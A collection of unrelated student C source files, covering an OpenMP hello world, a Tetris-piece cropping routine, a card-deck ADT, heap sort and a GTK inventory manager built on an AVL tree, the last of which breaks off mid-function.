printf( "\nMust specify name of file to create\n" );
return 3; /* no input */
}
|
C
|
#include<omp.h>
#include<stdio.h>
/*
CSCI6454 UNO - Fall 2020
HW1 - Question 2
Daniel Murphy
A very simple Hello World program using 10 OMP threads
note: some code derived from lecture slides
*/
int main(){
printf("Creating 10 POSIX threads, \neach calling the \"SayHello\" function\n\n");
omp_set_num_threads(10);
#pragma omp parallel
{
int id = omp_get_thread_num();
printf("hello world from thread #%d\n", id);
}
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* crop.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: jchedal- <marvin@42.fr> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2017/11/15 14:40:52 by jchedal- #+# #+# */
/* Updated: 2017/11/18 13:24:25 by jchedal- ### ########.fr */
/* */
/* ************************************************************************** */
#include "fillit.h"
static t_min_max *ft_get_min(char **piece)
{
size_t i;
size_t j;
t_min_max *min;
i = 0;
if (!(min = (t_min_max *)malloc(sizeof(t_min_max))))
return (NULL);
min->x = 3;
min->y = 3;
while (i < 4)
{
j = -1;
while (++j < 4)
piece[i][j] == '#' && j < min->x ? min->x = j : 1;
i++;
}
j = 0;
while (j < 4)
{
i = -1;
while (++i < 4)
piece[i][j] == '#' && (3 - i) < min->y ? min->y = (3 - i) : 1;
j++;
}
return (min);
}
static t_min_max *ft_get_max(char **piece)
{
size_t i;
size_t j;
t_min_max *max;
i = 0;
if (!(max = (t_min_max *)malloc(sizeof(t_min_max))))
return (NULL);
max->x = 0;
max->y = 0;
while (i < 4)
{
j = -1;
while (++j < 4)
piece[i][j] == '#' && j > max->x ? max->x = j : 1;
i++;
}
j = 0;
while (j < 4)
{
i = -1;
while (++i < 4)
piece[i][j] == '#' && (3 - i) > max->y ? max->y = (3 - i) : 1;
j++;
}
return (max);
}
static char *ft_get_cropped(char **piece, size_t n, t_min_max *min,
t_min_max *max)
{
size_t i;
size_t j;
size_t k;
char *new;
i = (3 - max->y) + n;
j = min->x;
k = 0;
if (!(new = (char *)malloc(sizeof(char) * (((max->x + 1) - min->x) + 1))))
return (NULL);
while (piece[i][j] && j <= max->x)
{
new[k] = piece[i][j];
j++;
k++;
}
new[k] = '\0';
return (new);
}
char **ft_crop_piece(char **piece)
{
size_t i;
char **new;
t_min_max *min;
t_min_max *max;
i = 0;
min = ft_get_min(piece);
max = ft_get_max(piece);
if (!(new = (char **)malloc(sizeof(char *) *
(((max->y + 1) - min->y) + 1))))
return (NULL);
while (i < ((max->y + 1) - min->y))
{
new[i] = ft_get_cropped(piece, i, min, max);
i++;
}
new[i] = NULL;
free(max);
free(min);
return (new);
}
|
C
|
#include "cards.h"
#include "vector.h"
#include "deck.h"
#include "utils.h"
#define ZERO_EXTENTION 0
#define DECK_PREFIX "Current Deck:"
#define ACTIVE_MAGIC_NUM 0xdecdec
#define IS_VALID(D) ((D) && (D)->m_magicNum == ACTIVE_MAGIC_NUM)
#define CARDS(D) (D)->m_cards
struct Deck
{
int m_magicNum;
Vector* m_cards;
};
Deck* DeckCreate(size_t _numOfPackets)
{
Deck* deck;
int i=0;
if(NULL == (deck=(Deck*)calloc(1,sizeof(Deck))))
{
return NULL;
}
if(NULL==(CARDS(deck)=VectorCreate(_numOfPackets * NUM_OF_CARDS,0)))
{
free(deck);
return NULL;
}
while(ERR_OK==VectorAdd(CARDS(deck),i++ % NUM_OF_CARDS))
{}
deck->m_magicNum = ACTIVE_MAGIC_NUM;
return deck;
}
void DeckDestroy(Deck* _deck)
{
if (IS_VALID(_deck))
{
_deck->m_magicNum = -1;
VectorDestroy(CARDS(_deck));
free(_deck);
}
}
ADTErr DeckShuffle(Deck* _deck)
{
size_t numOfCards;
Pair item1,item2;
if(!IS_VALID(_deck))
{
return ERR_NOT_INITIALIZED;
}
VectorItemsNum(CARDS(_deck),&numOfCards);
srand(time(NULL));
while(numOfCards > 1)
{
item1.m_index = numOfCards--;
VectorGet(CARDS(_deck), item1.m_index, &item1.m_val);
item2.m_index = rand() % numOfCards + 1;
VectorGet(CARDS(_deck), item2.m_index, &item2.m_val);
Swap(CARDS(_deck), &item1, &item2);
}
return ERR_OK;
}
ADTErr DeckAddCard(Deck* _deck, CardID _card)
{
if(!IS_VALID(_deck))
{
return ERR_NOT_INITIALIZED;
}
return VectorAdd(CARDS(_deck),_card);
}
ADTErr DeckRemoveCard(Deck* _deck, CardID* _card)
{
if(!IS_VALID(_deck))
{
return ERR_NOT_INITIALIZED;
}
return VectorDelete(CARDS(_deck),_card);
}
int DeckIsEmpty(Deck* _deck)
{
size_t numOfCards;
ADTErr status;
if(!IS_VALID(_deck))
{
return ERR_NOT_INITIALIZED;
}
if(ERR_OK != (status=VectorItemsNum(CARDS(_deck),&numOfCards)))
{
return TRUE;
}
return numOfCards == 0;
}
void DeckPrint(Deck* _deck)
{
if(!IS_VALID(_deck))
{
return;
}
CardsPrintVector(CARDS(_deck),DECK_PREFIX);
}
|
C
|
/* HEAP SORT
* 151008 ¹
*/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void swap(int arr[], int i, int j){
int temp = arr[i];
arr[i] = arr[j];
arr[j] = temp;
}
void max_heapify(int arr[], int i, int heapSize){
int leftIndex = 2 * i;
int rightIndex = 2 * i + 1;
int maxIndex;
if (leftIndex <= heapSize && arr[leftIndex-1] > arr[i-1])
maxIndex = leftIndex;
else
maxIndex = i;
if (rightIndex <= heapSize && arr[rightIndex-1] > arr[maxIndex-1])
maxIndex = rightIndex;
if (maxIndex != i){
swap(arr, i - 1, maxIndex - 1);
max_heapify(arr, maxIndex, heapSize);
}
}
void build_max_heap(int arr[], int arrLength){
int i;
for (i = arrLength / 2; i > 0; i--)
max_heapify(arr, i, arrLength);
}
void heapSort(int arr[], int arrLength){
int i;
build_max_heap(arr, arrLength);
for (i = arrLength; i > 1; i--){
swap(arr, 0, i-1);
arrLength = arrLength - 1;
max_heapify(arr, 1, arrLength);
}
}
void main(){
int arr[20];
int arrLength = sizeof(arr) / sizeof(int);
int i;
srand((unsigned)time(NULL));
for (i = 0; i < arrLength; i++){
arr[i] = rand() % 100;
}
puts("[original sequence]");
for (i = 0; i < arrLength; i++){
printf("%d ", arr[i]);
}
printf("\n");
puts("[after heapsort]");
heapSort(arr, arrLength);
for (i = 0; i < arrLength; i++){
printf("%d ", arr[i]);
}
printf("\n");
}
|
C
|
//install to compile: sudo apt-get install libgtk-3-dev
//Compile with: gcc `pkg-config --cflags gtk+-3.0` -o 1329256 1329256.c `pkg-config --libs gtk+-3.0`
/*
Program: SAIMT inventory management system
Antonio Diaz Flores
A01329256
Oscar Barbosa Aquino
A01329173
Date: 16/11/18
*/
#include <gtk/gtk.h>
#include "avlTree.h"
struct node* root = NULL;
/*
Function that displays an error message if a key is not found, receives data of type gpointer and Gtkwidget and returns nothing.
*/
static void key_not_found(GtkWidget *widget, gpointer data)
{
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "ID no encontrado!");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
button = gtk_button_new_with_label ("OK");
gtk_grid_attach (GTK_GRID (grid), button, 0, 1, 2, 1);
GtkWidget *confirmacionID;
confirmacionID = gtk_label_new ("ID no encontrado!");
gtk_grid_attach (GTK_GRID (grid), confirmacionID, 0, 0, 2, 1);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_widget_show_all (window);
}
/*
Function that displays an error message if a file is not found, receives data of type gpointer and Gtkwidget and returns nothing.
*/
static void file_not_found()
{
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "ID no encontradoArchivo no encontrado!");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
button = gtk_button_new_with_label ("OK");
gtk_grid_attach (GTK_GRID (grid), button, 0, 1, 2, 1);
GtkWidget *confirmacionID;
confirmacionID = gtk_label_new ("Archivo no encontrado! Se crea un nuevo data.adob");
gtk_grid_attach (GTK_GRID (grid), confirmacionID, 0, 0, 2, 1);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_widget_show_all (window);
}
/*
Function that displays a product addition confirmation message, receives data of type int and Gtkwidget and returns nothing.
*/
static void confirmacion_agregado(GtkWidget *widget, int correcto)
{
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
if (correcto)
gtk_window_set_title (GTK_WINDOW (window), "Agregado correctamente");
else
gtk_window_set_title (GTK_WINDOW (window), "Error! :(");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
button = gtk_button_new_with_label ("OK");
gtk_grid_attach (GTK_GRID (grid), button, 0, 1, 2, 1);
GtkWidget *confirmacionID;
if (correcto)
confirmacionID = gtk_label_new ("Producto agregado!");
else
confirmacionID = gtk_label_new ("ID repetido :(");
gtk_grid_attach (GTK_GRID (grid), confirmacionID, 0, 0, 2, 1);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_widget_show_all (window);
}
/*
Function that handles the data of an input field, receives data Gtkwidget and returns nothing.
*/
static void agregarVarios( GtkWidget *widget,
GtkWidget **entry )
{
const gchar **entry_text = malloc(4*sizeof(gchar*));
char** copiaentry = malloc(5*sizeof(char*));
for (int i = 0; i < 4; ++i)
{
*(entry_text+i) = gtk_entry_get_text (GTK_ENTRY (*(entry+i)));
printf ("Entry contents: %s\n", *(entry_text+i));
*(copiaentry+i) = malloc(strlen(*(entry_text+i)));
strcpy(*(copiaentry+i),*(entry_text+i));
}
*(copiaentry+4)=malloc(sizeof(char)*5);
*(copiaentry+4)="1";
char* key = (char*)(malloc(sizeof(char)*1024));
strcpy(key,*entry_text);
confirmacion_agregado(NULL,insert(&root,copiaentry,key));
}
/*
Function that displays the add product window, receives data of type gpointer and Gtkwidget and returns nothing.
*/
static void agregar_producto(GtkWidget *widget, gpointer data)
{
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "Agregar producto");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
button = gtk_button_new_with_label ("Agregar producto");
gtk_grid_attach (GTK_GRID (grid), button, 0, 4, 2, 1);
GtkWidget** entries = malloc(4*sizeof(GtkWidget*));
GtkWidget *textoID;
textoID = gtk_label_new ("ID");
gtk_grid_attach (GTK_GRID (grid), textoID, 0, 0, 1, 1);
*(entries+0) = gtk_entry_new();
gtk_entry_set_max_length (GTK_ENTRY (*(entries+0)),1024);
gtk_grid_attach (GTK_GRID (grid), *(entries+0), 1, 0, 1, 1);
GtkWidget *textoNombre;
textoNombre = gtk_label_new ("Producto");
gtk_grid_attach (GTK_GRID (grid), textoNombre, 0, 1, 1, 1);
*(entries+1) = gtk_entry_new();
gtk_entry_set_max_length (GTK_ENTRY (*(entries+1)),1024);
gtk_grid_attach (GTK_GRID (grid), *(entries+1), 1, 1, 1, 1);
GtkWidget *textoPrecioCompra;
textoPrecioCompra = gtk_label_new ("Cantidad");
gtk_grid_attach (GTK_GRID (grid), textoPrecioCompra, 0, 2, 1, 1);
*(entries+2) = gtk_entry_new();
gtk_entry_set_max_length (GTK_ENTRY (*(entries+2)),1024);
gtk_grid_attach (GTK_GRID (grid), *(entries+2), 1, 2, 1, 1);
GtkWidget *textoPrecioVenta;
textoPrecioVenta = gtk_label_new ("Precio");
gtk_grid_attach (GTK_GRID (grid), textoPrecioVenta, 0, 3, 1, 1);
*(entries+3) = gtk_entry_new();
gtk_entry_set_max_length (GTK_ENTRY (*(entries+3)),1024);
gtk_grid_attach (GTK_GRID (grid), *(entries+3), 1, 3, 1, 1);
g_signal_connect (button, "clicked", G_CALLBACK (agregarVarios), entries);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_widget_show_all (window);
}
/*
Function that displays a product edit confirmation message, receives data of type gpointer and Gtkwidget and returns nothing.
*/
static void confirmacion_editado(GtkWidget *widget, gpointer data)
{
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "Editado correctamente");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
button = gtk_button_new_with_label ("OK");
gtk_grid_attach (GTK_GRID (grid), button, 0, 1, 2, 1);
GtkWidget *confirmacionID;
confirmacionID = gtk_label_new ("Producto editado!");
gtk_grid_attach (GTK_GRID (grid), confirmacionID, 0, 0, 2, 1);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_widget_show_all (window);
}
/*
Function that handles the data of an input field, receives data Gtkwidget and returns nothing.
*/
static void editarVarios( GtkWidget *widget,
GtkWidget **entry )
{
const gchar **entry_text = malloc(4*sizeof(gchar*));
char** copiaentry = malloc(4*sizeof(char*));
for (int i = 0; i < 4; ++i)
{
*(entry_text+i) = gtk_entry_get_text (GTK_ENTRY (*(entry+i)));
printf ("Entry contents: %s\n", *(entry_text+i));
*(copiaentry+i) = malloc(strlen(*(entry_text+i)));
strcpy(*(copiaentry+i),*(entry_text+i));
}
char* key = (char*)(malloc(sizeof(char)*1024));
strcpy(key,*entry_text);
editDis(copiaentry);
confirmacion_editado(NULL,NULL);
}
/*
Function that displays the product auxiliary edition window, receives data of type char** and Gtkwidget and returns nothing.
*/
static void editar_producto_aux(GtkWidget *widget, char **originales)
{
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "Editar producto");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
button = gtk_button_new_with_label ("Editar producto");
gtk_grid_attach (GTK_GRID (grid), button, 0, 4, 2, 1);
GtkWidget** entries = malloc(4*sizeof(GtkWidget*));
GtkWidget *textoID;
textoID = gtk_label_new ("ID");
gtk_grid_attach (GTK_GRID (grid), textoID, 0, 0, 1, 1);
*(entries+0) = gtk_entry_new();
gtk_entry_set_max_length (GTK_ENTRY (*(entries+0)),1024);
gtk_entry_set_text (GTK_ENTRY (*(entries+0)), *(originales+0));
gtk_editable_set_editable(GTK_EDITABLE(*(entries+0)), FALSE);
gtk_grid_attach (GTK_GRID (grid), *(entries+0), 1, 0, 1, 1);
GtkWidget *textoNombre;
textoNombre = gtk_label_new ("Producto");
gtk_grid_attach (GTK_GRID (grid), textoNombre, 0, 1, 1, 1);
*(entries+1) = gtk_entry_new();
gtk_entry_set_max_length (GTK_ENTRY (*(entries+1)),1024);
gtk_entry_set_text (GTK_ENTRY (*(entries+1)), *(originales+1));
gtk_grid_attach (GTK_GRID (grid), *(entries+1), 1, 1, 1, 1);
GtkWidget *textoPrecioCompra;
textoPrecioCompra = gtk_label_new ("Cantidad");
gtk_grid_attach (GTK_GRID (grid), textoPrecioCompra, 0, 2, 1, 1);
*(entries+2) = gtk_entry_new();
gtk_entry_set_max_length (GTK_ENTRY (*(entries+2)),1024);
gtk_entry_set_text (GTK_ENTRY (*(entries+2)), *(originales+2));
gtk_grid_attach (GTK_GRID (grid), *(entries+2), 1, 2, 1, 1);
GtkWidget *textoPrecioVenta;
textoPrecioVenta = gtk_label_new ("Precio");
gtk_grid_attach (GTK_GRID (grid), textoPrecioVenta, 0, 3, 1, 1);
*(entries+3) = gtk_entry_new();
gtk_entry_set_max_length (GTK_ENTRY (*(entries+3)),1024);
gtk_entry_set_text (GTK_ENTRY (*(entries+3)), *(originales+3));
gtk_grid_attach (GTK_GRID (grid), *(entries+3), 1, 3, 1, 1);
g_signal_connect (button, "clicked", G_CALLBACK (editarVarios), entries);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_widget_show_all (window);
}
/*
Function that handles the data of an input field, receives data Gtkwidget and returns nothing.
*/
static void editarUno( GtkWidget *widget,
GtkWidget **entry )
{
const gchar **entry_text = malloc(1*sizeof(gchar*));
for (int i = 0; i < 1; ++i)
{
*(entry_text+i) = gtk_entry_get_text (GTK_ENTRY (*(entry+i)));
printf ("Entry contents: %s\n", *(entry_text+i));
}
char* key = (char*)(malloc(sizeof(char)*1024));
strcpy(key,*entry_text);
char** dec = modifyId(&root,key);
if(*(dec+4))
editar_producto_aux(NULL,dec);
else
key_not_found(NULL,NULL);
}
/*
Function that displays the edit product window, receives data of type gpointer and Gtkwidget and returns nothing.
*/
static void editar_producto(GtkWidget *widget, gpointer data)
{
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "Editar producto");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
GtkWidget** entries = malloc(1*sizeof(GtkWidget*));
button = gtk_button_new_with_label ("Editar producto");
gtk_grid_attach (GTK_GRID (grid), button, 0, 2, 2, 1);
GtkWidget *textoID;
textoID = gtk_label_new ("ID");
gtk_grid_attach (GTK_GRID (grid), textoID, 0, 0, 1, 1);
*(entries+0) = gtk_entry_new();
gtk_entry_set_max_length (GTK_ENTRY (*(entries+0)),1024);
gtk_grid_attach (GTK_GRID (grid), *(entries+0), 1, 0, 1, 1);
g_signal_connect (button, "clicked", G_CALLBACK (editarUno), entries);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_widget_show_all (window);
}
/*
Function that displays a product reactivation confirmation message, receives data of type gpointer and Gtkwidget and returns nothing.
*/
static void confirmacion_reactivado(GtkWidget *widget, char **entries)
{
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "Estas seguro?");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
button = gtk_button_new_with_label ("Si");
g_signal_connect (button, "clicked", G_CALLBACK (recoverDis), NULL);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 0, 5, 2, 1);
button = gtk_button_new_with_label ("No");
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 2, 5, 2, 1);
GtkWidget *textoID;
textoID = gtk_label_new ("ID");
gtk_grid_attach (GTK_GRID (grid), textoID, 0, 1, 1, 1);
GtkWidget *textoInfoID;
textoInfoID = gtk_label_new (*(entries+0));
gtk_grid_attach (GTK_GRID (grid), textoInfoID, 1, 1, 3, 1);
GtkWidget *textoProducto;
textoProducto = gtk_label_new ("Producto");
gtk_grid_attach (GTK_GRID (grid), textoProducto, 0, 2, 1, 1);
GtkWidget *textoInfoProducto;
textoInfoProducto = gtk_label_new (*(entries+1));
gtk_grid_attach (GTK_GRID (grid), textoInfoProducto, 2, 2, 3, 1);
GtkWidget *textoPrecioCompra;
textoPrecioCompra = gtk_label_new ("Cantidad");
gtk_grid_attach (GTK_GRID (grid), textoPrecioCompra, 0, 3, 1, 1);
GtkWidget *textoInfoPrecioCompra;
textoInfoPrecioCompra = gtk_label_new (*(entries+2));
gtk_grid_attach (GTK_GRID (grid), textoInfoPrecioCompra, 2, 3, 3, 1);
GtkWidget *textoPrecioVenta;
textoPrecioVenta = gtk_label_new ("Precio Venta");
gtk_grid_attach (GTK_GRID (grid), textoPrecioVenta, 0, 4, 1, 1);
GtkWidget *textoInfoPrecioVenta;
textoInfoPrecioVenta = gtk_label_new (*(entries+3));
gtk_grid_attach (GTK_GRID (grid), textoInfoPrecioVenta, 2, 4, 3, 1);
GtkWidget *confirmacionID;
confirmacionID = gtk_label_new ("Estas seguro de que quieres recuperar el siguiente producto?");
gtk_grid_attach (GTK_GRID (grid), confirmacionID, 0, 0, 4, 1);
gtk_widget_show_all (window);
}
/*
Function that handles the data of an input field, receives data Gtkwidget and returns nothing.
*/
static void reactivarUno( GtkWidget *widget,
GtkWidget **entry )
{
const gchar **entry_text = malloc(1*sizeof(gchar*));
for (int i = 0; i < 1; ++i)
{
*(entry_text+i) = gtk_entry_get_text (GTK_ENTRY (*(entry+i)));
printf ("Entry contents: %s\n", *(entry_text+i));
}
char* key = (char*)(malloc(sizeof(char)*1024));
strcpy(key,*entry_text);
char** dec = recoverId(&root,key);
if(*(dec+4))
confirmacion_reactivado(NULL,dec);
else
key_not_found(NULL,NULL);
}
/*
Function that displays the product reactivation window, receives data of type gpointer and Gtkwidget and returns nothing.
*/
static void reactivar_producto(GtkWidget *widget, gpointer data)
{
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "Recuperar producto");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
GtkWidget** entries = malloc(1*sizeof(GtkWidget*));
button = gtk_button_new_with_label ("Recuperar producto");
gtk_grid_attach (GTK_GRID (grid), button, 0, 2, 2, 1);
GtkWidget *textoID;
textoID = gtk_label_new ("ID");
gtk_grid_attach (GTK_GRID (grid), textoID, 0, 0, 1, 1);
*(entries+0) = gtk_entry_new();
gtk_entry_set_max_length (GTK_ENTRY (*(entries+0)),1024);
gtk_grid_attach (GTK_GRID (grid), *(entries+0), 1, 0, 1, 1);
g_signal_connect (button, "clicked", G_CALLBACK (reactivarUno), entries);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_widget_show_all (window);
}
/*
Function that displays a product deletion confirmation message, receives data of type gpointer and Gtkwidget and returns nothing.
*/
static void confirmacion_borrado(GtkWidget *widget, char **entries)
{
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "Estas seguro?");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
button = gtk_button_new_with_label ("Si");
g_signal_connect (button, "clicked", G_CALLBACK (deleteDis), NULL);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 0, 5, 2, 1);
button = gtk_button_new_with_label ("No");
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 2, 5, 2, 1);
GtkWidget *textoID;
textoID = gtk_label_new ("ID");
gtk_grid_attach (GTK_GRID (grid), textoID, 0, 1, 1, 1);
GtkWidget *textoInfoID;
textoInfoID = gtk_label_new (*(entries+0));
gtk_grid_attach (GTK_GRID (grid), textoInfoID, 1, 1, 3, 1);
GtkWidget *textoProducto;
textoProducto = gtk_label_new ("Producto");
gtk_grid_attach (GTK_GRID (grid), textoProducto, 0, 2, 1, 1);
GtkWidget *textoInfoProducto;
textoInfoProducto = gtk_label_new (*(entries+1));
gtk_grid_attach (GTK_GRID (grid), textoInfoProducto, 2, 2, 3, 1);
GtkWidget *textoPrecioCompra;
textoPrecioCompra = gtk_label_new ("Cantidad");
gtk_grid_attach (GTK_GRID (grid), textoPrecioCompra, 0, 3, 1, 1);
GtkWidget *textoInfoPrecioCompra;
textoInfoPrecioCompra = gtk_label_new (*(entries+2));
gtk_grid_attach (GTK_GRID (grid), textoInfoPrecioCompra, 2, 3, 3, 1);
GtkWidget *textoPrecioVenta;
textoPrecioVenta = gtk_label_new ("Precio Venta");
gtk_grid_attach (GTK_GRID (grid), textoPrecioVenta, 0, 4, 1, 1);
GtkWidget *textoInfoPrecioVenta;
textoInfoPrecioVenta = gtk_label_new (*(entries+3));
gtk_grid_attach (GTK_GRID (grid), textoInfoPrecioVenta, 2, 4, 3, 1);
GtkWidget *confirmacionID;
confirmacionID = gtk_label_new ("Estas seguro de que quieres borrar el siguiente producto?");
gtk_grid_attach (GTK_GRID (grid), confirmacionID, 0, 0, 4, 1);
gtk_widget_show_all (window);
}
/*
Function that handles the data of an input field, receives data Gtkwidget and returns nothing.
*/
static void borrarUno( GtkWidget *widget,
GtkWidget **entry )
{
const gchar **entry_text = malloc(1*sizeof(gchar*));
for (int i = 0; i < 1; ++i)
{
*(entry_text+i) = gtk_entry_get_text (GTK_ENTRY (*(entry+i)));
printf ("Entry contents: %s\n", *(entry_text+i));
}
char* key = (char*)(malloc(sizeof(char)*1024));
strcpy(key,*entry_text);
char** dec = deleteData(&root,key);
if(*(dec+4))
confirmacion_borrado(NULL,dec);
else
key_not_found(NULL,NULL);
}
/*
Function that displays the product deletion window, receives data of type gpointer and Gtkwidget and returns nothing.
*/
static void borrar_producto(GtkWidget *widget, gpointer data)
{
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "Borrar producto");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
GtkWidget** entries = malloc(1*sizeof(GtkWidget*));
button = gtk_button_new_with_label ("Borrar producto");
gtk_grid_attach (GTK_GRID (grid), button, 0, 2, 2, 1);
GtkWidget *textoID;
textoID = gtk_label_new ("ID");
gtk_grid_attach (GTK_GRID (grid), textoID, 0, 0, 1, 1);
*(entries+0) = gtk_entry_new();
gtk_entry_set_max_length (GTK_ENTRY (*(entries+0)),1024);
gtk_grid_attach (GTK_GRID (grid), *(entries+0), 1, 0, 1, 1);
g_signal_connect (button, "clicked", G_CALLBACK (borrarUno), entries);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_widget_show_all (window);
}
/*
Function that prints the search results window, receives data of type char*** and Gtkwidget and returns nothing.
*/
static void printBuscar(GtkWidget *widget, char ***entradasReporte) {
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "Resultados");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
int i = 1;
GtkWidget *confirmacionID;
GtkWidget *confirmacionProducto;
GtkWidget *confirmacionPrecioCompra;
GtkWidget *confirmacionPrecioVenta;
confirmacionID = gtk_label_new ("\tID\t");
gtk_grid_attach (GTK_GRID (grid), confirmacionID, 0, i, 1, 1);
confirmacionProducto = gtk_label_new ("\tProducto\t");
gtk_grid_attach (GTK_GRID (grid), confirmacionProducto, 2, i, 1, 1);
confirmacionPrecioCompra = gtk_label_new ("\tCantidad\t");
gtk_grid_attach (GTK_GRID (grid), confirmacionPrecioCompra, 4, i, 1, 1);
confirmacionPrecioVenta = gtk_label_new ("\tPrecio Venta\t");
gtk_grid_attach (GTK_GRID (grid), confirmacionPrecioVenta, 6, i, 1, 1);
i++;
while(*entradasReporte){
confirmacionID = gtk_label_new (*((*entradasReporte)+0));
gtk_grid_attach (GTK_GRID (grid), confirmacionID, 0, i, 2, 1);
confirmacionProducto = gtk_label_new (*((*entradasReporte)+1));
gtk_grid_attach (GTK_GRID (grid), confirmacionProducto, 2, i, 2, 1);
confirmacionPrecioCompra = gtk_label_new (*((*entradasReporte)+2));
gtk_grid_attach (GTK_GRID (grid), confirmacionPrecioCompra, 4, i, 2, 1);
confirmacionPrecioVenta = gtk_label_new (*((*entradasReporte)+3));
gtk_grid_attach (GTK_GRID (grid), confirmacionPrecioVenta, 6, i, 2, 1);
i++;
entradasReporte++;
}
button = gtk_button_new_with_label ("OK");
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 4, i, 4, 1);
gtk_widget_show_all (window);
}
/*
Function that handles the data of an input field, receives data Gtkwidget and returns nothing.
*/
static void buscarIdExacto( GtkWidget *widget,
GtkWidget **entry )
{
const gchar **entry_text = malloc(1*sizeof(gchar*));
for (int i = 0; i < 1; ++i)
{
*(entry_text+i) = gtk_entry_get_text (GTK_ENTRY (*(entry+i)));
printf ("Entry contents: %s\n", *(entry_text+i));
}
char* key = (char*)(malloc(sizeof(char)*1024));
strcpy(key,*entry_text);
char*** dec = searchExactMatch(root,key);
if(dec)
printBuscar(NULL,dec);
else
key_not_found(NULL,NULL);
free(dec);
}
/*
Function that handles the data of an input field, receives data Gtkwidget and returns nothing.
*/
static void buscarIdMenor( GtkWidget *widget,
GtkWidget **entry )
{
const gchar **entry_text = malloc(1*sizeof(gchar*));
for (int i = 0; i < 1; ++i)
{
*(entry_text+i) = gtk_entry_get_text (GTK_ENTRY (*(entry+i)));
printf ("Entry contents: %s\n", *(entry_text+i));
}
char* key = (char*)(malloc(sizeof(char)*1024));
strcpy(key,*entry_text);
char*** dec = searchLesser(root,key);
if(dec)
printBuscar(NULL,dec);
else
key_not_found(NULL,NULL);
